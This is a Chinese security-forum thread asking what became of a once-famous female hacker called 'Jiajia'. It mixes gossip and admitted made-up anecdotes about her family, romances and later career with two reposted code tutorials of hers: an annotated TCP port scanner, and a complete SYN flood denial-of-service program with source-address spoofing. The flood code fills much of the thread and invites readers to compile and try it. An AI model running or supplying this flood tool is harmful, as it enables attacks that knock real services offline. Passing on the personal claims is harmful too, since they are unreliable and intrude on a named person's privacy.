|
作者: ALLyeSNO [allyesno] 论坛用户 | 登录 |
女黑客 佳佳 有人知道 她现在的 所在和 情况吗 |
地主 发表时间: 04-04-18 07:04 |
回复: zhushou [zhushou] 论坛用户 | 登录 |
我知道!请拨打电话110 |
B1层 发表时间: 04-04-18 10:33 |
回复: flythewolf [flythewolf] 论坛用户 | 登录 |
知道,但是没有联系,也一直见不到这个人呀 |
B2层 发表时间: 04-04-20 18:05 |
回复: BrideX [bridex] 论坛用户 | 登录 |
佳佳北京市人,她父亲原市书记后任市长,她在学校学习计算机时,对安全信息感兴趣. 她发表过,(我有些记不起来了.)好像是什么浅谈数据库安全.名声大震.在她的个人主页里,可以看到她的几张真实照片.在她的个性论坛里,绝大多数人是她的FANS,有几个版主是她的朋友. 其中一个叫蚂蚁的一个网络高手,也是她的朋友,和几个喜欢网络安全的朋友到佳佳家做过客. 后来她们的关系就加深了.蚂蚁好像当时有些喜欢佳佳,只是他心里喜欢,不敢说出来..但是佳佳呢,不以为然,她喜欢她们学校的一个会打蓝球的男的!哎,好可怜的蚂蚁呀... 由于佳佳和一些网络安全站点关系,佳佳主页的友情连接包括了中国鹰派中国红客.中国黑盟等安全站点连接.还有好多...当时,记者们称她们为第二代黑客....(佳佳,小榕,LION.等等.注:XUNDI,袁哥,W3,ADAM,冰河,天行,大鹰,小四,无花果,ISNO,LOVEHACKER,等那些人是第一代的.) 我打的字都是骗人的.嘻嘻 [此贴被 BrideX(bridex) 在 04月21日12时09分 编辑过] [此贴被 BrideX(bridex) 在 04月21日12时15分 编辑过] |
B3层 发表时间: 04-04-21 12:01 |
回复: BrideX [bridex] 论坛用户 | 登录 |
还有,当时我翻看她的公开日记时,:"当当书店的店主,用黑客程序破解了佳佳的私人信箱,在QQ上,约佳佳去吃麦什么劳,(麦当劳)在吃着的时候,当当说:"我破解了你的信箱才知道你的一切的.我想和你交个朋友."佳佳一下全部觉悟了,原来你小子对我了解那么多,连我的朋友叫什么在哪住你都知道.原来是这样.佳佳一怒,拿起那个叫做什么火腿什么什么汉宝宝,一下全乎在了当当的脸上,大骂道:"你真混蛋."佳佳跑出了麦当劳.当当呢,哼,这小子也不傻,就去追她了..." 至于后来,我就不知道了...555 哈哈哈. [此贴被 BrideX(bridex) 在 04月22日13时25分 编辑过] |
B4层 发表时间: 04-04-21 14:03 |
回复: apple01 [apple01] 论坛用户 | 登录 |
我名字里也有一个佳字,亲戚朋友都叫我佳佳,55555555555555555可是我菜得不得了…… |
B5层 发表时间: 04-04-22 12:31 |
回复: lqfrla [lqfrla] 论坛用户 | 登录 |
佳佳是谁啊 没听过啊 |
B6层 发表时间: 04-04-22 13:17 |
回复: woodman886 [woodman886] 论坛用户 | 登录 |
搞这么神秘干什么,可能她是一部戏的女配角 |
B7层 发表时间: 04-04-23 15:51 |
回复: BrideX [bridex] 论坛用户 | 登录 |
jjgirl jjgirl@sina.com : http://jjgirl.yeah.net : 佳佳,人气很旺的女黑客,魅力与威力同在,还把把玉照放在主页上,长得到是挺 : 可爱,在安全界有很多fans。想必大家都读过她的"浅谈数据库攻击"。 : 引用其它站点的中国黑客介绍 很招人喜欢的佳佳。她的亮照我都看过。。。 |
B8层 发表时间: 04-04-23 17:26 |
回复: BrideX [bridex] 论坛用户 | 登录 |
例出一个JJGIRL的文献. 一个扫描端口软件的分析 http://jjgirl.yeah.net (2001-04-19 13:30:17) 本站点代码本人都在Linux上作过调试,如果在其他Unix系统上有问题 请与本人联系 jjgirl@263.net 本人已加中文注释,如果仍然有问题有给我留言或来信。 /* -*-C-*- tcpprobe.c */ /* tcpprobe - report on which tcp ports accept connections */ /* IO ERROR, error@axs.net, Sep 15, 1995 */ #include #include #include #include #include #include /*below seven lines added by jjgirl 4.26.2000 */ #include #include #include #include #include #include #include /*jjgirl:以上为头文件,jjgirl加了几个头文件才编译通过! */ int main(int argc, char **argv) { //int probeport = 0; struct hostent *host; int err, i, net; struct sockaddr_in sa; if (argc != 2) { printf("Usage: %s hostname\n", argv[0]); exit(1); } /*jjgirl:以上为检验参数! */ /*jjgirl:以下对1―1024端口开始扫描,你也可以把1024该为65536加大扫描范围。 */ for (i = 1; i < 1024; i++) { strncpy((char *)&sa, "", sizeof sa); sa.sin_family = AF_INET; if (isdigit(*argv[1])) sa.sin_addr.s_addr = inet_addr(argv[1]); else if ((host = gethostbyname(argv[1])) != 0) strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr); else { herror(argv[1]); exit(2); } sa.sin_port = htons(i); /*jjgirl:以上为填上sockaddr_in结构的内容,下面的connect要用它! */ /*下面开始socketle 了*/ net = socket(AF_INET, SOCK_STREAM, 0); if (net < 0) { perror("\nsocket"); exit(2); } /*jjgirl:开始connect! */ err = connect(net, (struct sockaddr *) &sa, sizeof sa); if (err < 0) { printf("%s %-5d %s\r", argv[1], i, strerror(errno)); fflush(stdout); } else { printf("%s %-5d accepted. \n", argv[1], i); /*jjgirl:成功打印*/ if (shutdown(net, 2) < 0) { /*不允许接受和发送,但接口仍打开!*/ perror("\nshutdown"); exit(2); } } close(net); }//jjgirl:循环结束! printf(" \r"); fflush(stdout); return (0); } 转 |
B9层 发表时间: 04-04-23 17:41 |
回复: BrideX [bridex] 论坛用户 | 登录 |
再例一篇JJGIRL的文献 一个SYN攻击的代码分析 一个SYN攻击的代码分析 大家试着读一读,看是否能读懂,不懂可以给我留言。 我加的有中文注释。 /* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了!*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件!*/ unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/ u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/ int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量!*/ fprintf(stderr,"Syn attack against one port.(Infinite)\n"); if(argc<4) { fprintf(stderr,"usage: %s \n",argv[0]); return(-1); } /*jjgirl:上面是判断参数!*/ fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]); bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/ sin.sin_family=AF_INET; if((host1=gethostbyname(argv[3]))!=NULL) bcopy(host1->h_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s\n",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/ if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } /*jjgirl:上面开始Socket了!*/ foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } /*jjgirl:上面是为了重构报头!*/ for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头!*/ srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变!*/ if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻击开始!*/ { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) {fprintf(stdout,".");fflush(stdout);} /*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便! {fprintf(stdout,".%4d",j);fflush(stdout);} int k=j; if((k%10)==0) printf("\n"); */ } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,或来信jjgirl@263.net,或复习前面的课程!*/ /*jjgirl:若有人引用本文,请事先通知,并请保持完整性!*/ 阅读:4214次 责任编辑:faraway 来源:http://jjgirl.yeah.net 转 |
B10层 发表时间: 04-04-23 17:43 |
回复: zjs_wy1234 [zjs_wy1234] 论坛用户 | 登录 |
是谁啊 楼主说说她是谁的啊 我们怎么不认识的啊 |
B11层 发表时间: 04-04-29 21:51 |
回复: ALLyeSNO [allyesno] 论坛用户 | 登录 |
以前一个颇有名的人 突然消失了 |
B12层 发表时间: 05-01-17 05:35 |
回复: TecZm [teczm] 版主 | 登录 |
可能嫁人了 |
B13层 发表时间: 05-01-17 08:50 |
回复: kellywang [kellywang] 论坛用户 | 登录 |
是啊 她现在在干什么呢 好久都没有听说过她了 我都快忘了啊 |
B14层 发表时间: 05-01-17 17:28 |
回复: SysHu0teR [syshunter] 版主 | 登录 |
如果说从她的那些文章来判断她的技术, 个人觉得那些文章很普通。 |
B15层 发表时间: 05-01-17 18:59 |
回复: dd [dd] 论坛用户 | 登录 |
呵呵,消失了? 几年前去看过,不过那时候,啥东东都看不懂~~~现在好像也没好多少~~~:) |
B16层 发表时间: 05-01-18 05:05 |
回复: jianzai [jianzai] 论坛用户 | 登录 |
你给的网纸打不开呀 |
B17层 发表时间: 05-01-22 06:42 |
回复: wzcpa [wzcpa] 论坛用户 | 登录 |
真可恶,叫别人帮你点广告。 |
B18层 发表时间: 05-01-22 11:11 |
回复: Baal [combook] 论坛用户 | 登录 |
我有个朋友也叫 |
B19层 发表时间: 05-01-25 12:45 |
回复: verjj [verjj] 论坛用户 | 登录 |
我后来在美国遇到了她,她从美国常春藤名校康奈尔大学(Cornell University)毕业以后,在西雅图的亚马逊公司(Amazon)做软件开发主管,现在还在不在Amazon不知道了。她当时负责的一些项目跟网络安全没有关系,是AWS云的一些产品。她的确很聪明,英文说得也非常流利,接近母语的流利。 |
B20层 发表时间: 23-09-19 07:22 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号